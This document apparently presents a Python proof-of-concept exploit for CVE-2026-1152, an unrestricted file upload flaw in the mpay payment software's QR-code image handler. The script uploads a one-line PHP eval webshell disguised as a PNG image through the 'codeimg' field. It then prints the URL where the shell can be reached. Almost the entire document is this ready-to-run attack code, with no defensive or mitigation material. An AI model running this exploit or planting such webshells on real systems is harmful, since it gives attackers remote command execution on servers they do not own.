CVE-2026-1152 | technical-laohu mpay QR码图像处理器无限制文件上传漏洞

import requests import sys # CVE-2026-1152 PoC - Unrestricted File Upload in mpay QR Code Image Handler # Affected: technical-laohu mpay up to 1.2.4 TARGET_URL = "http://target.com/mpay" # Replace with target URL def upload_webshell(): """ Upload malicious file via codeimg parameter in QR Code Image Handler """ # Prepare malicious PHP webshell webshell_content = "<?php @eval($_POST['cmd']); ?>" # Prepare multipart form data files = { 'codeimg': ('shell.php', webshell_content, 'image/png') } # Alternative: Try with different content types data = { 'action': 'upload', 'component': 'qrcode' } try: # Attempt file upload response = requests.post( f"{TARGET_URL}/qrcode/upload", files=files, data=data, timeout=10 ) if response.status_code == 200: # Extract uploaded file path from response result = response.json() uploaded_path = result.get('path', '') print(f"[+] File uploaded successfully: {uploaded_path}") print(f"[+] Access webshell at: {TARGET_URL}/{uploaded_path}") return uploaded_path else: print(f"[-] Upload failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2026-1152 PoC - mpay QR Code Unrestricted Upload") print("=" * 50) upload_webshell()